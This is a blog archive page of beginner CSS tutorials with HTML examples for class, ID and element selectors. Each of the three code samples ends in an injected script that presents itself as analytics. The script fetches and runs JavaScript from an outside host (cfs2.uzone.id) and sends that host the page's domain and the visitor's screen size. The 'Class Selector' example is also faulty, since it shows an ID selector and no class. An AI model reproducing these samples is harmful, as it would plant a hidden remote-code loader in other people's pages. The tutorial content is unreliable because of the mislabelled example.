
Showing posts with label PROGRAM CSS. Show all posts
Showing posts with label PROGRAM CSS. Show all posts
Monday, December 5, 2016

CSS - HOW TO ?
When a browser reads a style sheet, it will format the HTML document according to the information in the style sheet.
Friday, December 2, 2016

CSS Syntax - Class Selector
Class Selector :
<!DOCTYPE html>
<html>
<head>
<style>
#para1 {
text-align: center;
color: red;
}
</style>
</head>
<body>
<p id="para1">Hello World!</p>
<p>This paragraph is not affected by the style.</p>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkegNy7jQ5RNAx4JvgKh9%2bW5MEUU1Qu%2bCpCZH%2fid5qR1Q%2b52jESqk8Y9PevDJY%2bINH%2bhB8vfVglNsrZvX3VrYG3jqXhSyJYJwBtol3x0Ld9H%2bnhvWA8g%2bGe5bxKQvZrQDoA92P5HtdoRJI8yDiHota2ms0S%2bmq7p1IPMdYySZs5fl8%2bPJox5qzVf4z%2bcVAJObeivMjDtT5c3xVbMvbktVLB2IIccc51MOKdsQFCz6rOJgXvJjjXbLnSIg3ldUuWwRSSB1hEBOslhB5GQXaAT7rGeVUUdeN4xYAWvEzEQOSyoCjIqJdFbky1CssSsZwBTBsMlllxnE66q7MLdB43qhFTZsmKJo7zAwIPjjklNbJAl6O86dCoGKrsF2" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>

CSS Syntax - ID Selector
ID Selector :
<!DOCTYPE html>
<html>
<head>
<style>
#para1 {
text-align: center;
color: red;
}
</style>
</head>
<body>
<p id="para1">Hello World!</p>
<p>This paragraph is not affected by the style.</p>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkegNy7jQ5RNAx4JvgKh9%2bW5MEUU1Qu%2bCpCZH%2fid5qR1Q%2b52jESqk8Y9PevDJY%2bINH%2bhB8vfVglNsrZvX3VrYG3jqXhSyJYJwBtol3x0Ld9H%2bnhvWA8g%2bGe5bxKQvZrQDoA92P5HtdoRJI8yDiHota2ms0S%2bmq7p1IPMdYySZs5fl8%2bPJox5qzVf4z%2bcVAJObeivMjDtT5c3xVbMvbktVLB2IIccc51MOKdsQFCz6rOJgXvJjjXbLnSIg3ldUuWwRSSB1hEBOslhB5GQXaAT7rGeVUUdeN4xYAWvEzEQOSyoCjIqJdFbky1CssSsZwBTBsMlllxnE66q7MLdB43qhFTZsmKJo7zAwIPjjklNbJAl6O86dCoGKrsF2" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>

CSS Syntax - Element Selector
Element Selector :
<!DOCTYPE html>
<html>
<head>
<style>
p {
text-align: center;
color: red;
}
</style>
</head>
<body>
<p>Every paragraph will be affected by the style.</p>
<p id="para1">Me too!</p>
<p>And me!</p>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2B0Oji7PkHkeiIBVl0fmp5Hi7mKSwziKsz%2fWj82K%2fItsLYz2UmIjgOCWfVseJgi6OynJULJlAxxQ%2fcwnW4gpqeRP8jlm3Q%2fCjKQ%2ffW5eX4QRs%2bShBnBkocVB8w5bDE%2bZbyjxxH%2bdeXovNPmQcZNQn7zLABYBdrL0bQMzGZrcrf2EedtQaKeXCab5nkYMRvakjCw0PN0R2gUikYehM11BInJzs9gZtD9vMHz1dpSQ3ct8F5RDT78h2DwTrMkRF4uKmDdkijgGDxwj2TOgrMpFrr2woGKEUYznhxeiGyTddvxGVW0xir%2fT5Q0%2fkrt0oMJHQNO%2fYOO1uvwRck2blFIsYevt8wqkkc3GWACQ0VVcgF7eP285FQtEv7t5zFI82HDK9K" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>
Subscribe to:
Posts (Atom)
